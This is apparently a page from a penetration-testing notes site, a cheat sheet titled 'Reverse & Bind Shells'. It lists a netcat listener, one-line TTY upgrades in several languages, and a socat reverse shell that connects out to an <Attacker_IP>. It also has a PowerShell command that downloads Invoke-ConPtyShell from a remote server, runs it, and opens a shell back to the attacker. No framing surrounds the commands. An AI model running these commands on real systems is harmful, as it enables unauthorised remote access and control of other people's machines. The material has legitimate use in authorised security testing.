Reverse & Bind Shells
Listener
nc -nlvp <PORT>Public to the world
Main
TTY
Bash
/bin/bash -i
Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
Perl
perl —e 'exec "/bin/sh";' perl: exec "/bin/sh";
Ruby
ruby: exec "/bin/sh"
Lua
lua: os.execute('/bin/sh')
AWK
awk 'BEGIN {system("/bin/sh")}'
Socat
On Attacker
socat file:`tty`,raw,echo=0 tcp-listen:<PORT2>
On RevShell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<Attacker_IP>:<PORT2>
Shell handler with auto-upgrade shells to PTY
Windows TTY
stty raw -echo; (stty size; cat) | nc -lvnp <PORT>
IEX(IWR http://<IP_SERVER>:<PORT_SERVER>/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <MY_IP> <MY_PORT>
A readline wrapper, allow the editing of keyboard input for any command.
rlwrap <COMMAND> <ARGS>
rlwrap -cAr nc -lnvp 80
Command & Control (C2)
Last updated
Was this helpful?
